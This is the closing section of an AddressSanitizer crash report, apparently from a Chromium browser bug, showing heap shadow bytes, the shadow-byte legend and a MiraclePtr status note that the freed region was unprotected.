0x7b6a44d42f00: f7 fa fd fa f7 fa fd fd f7 fa fd fd f7 fa fd fa
0x7b6a44d42f80: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
0x7b6a44d43000: f7 fa fd fd f7 fa 03 fa f7 fa fd fa f7 fa fd fa
0x7b6a44d43080: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1804752==ADDITIONAL INFO
==1804752==Note: Please include this section with the ASan report.
Task trace:
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
==1804752==END OF ADDITIONAL INFO
Credit
c6eed09fc8b174b0f3eebedcceb1e792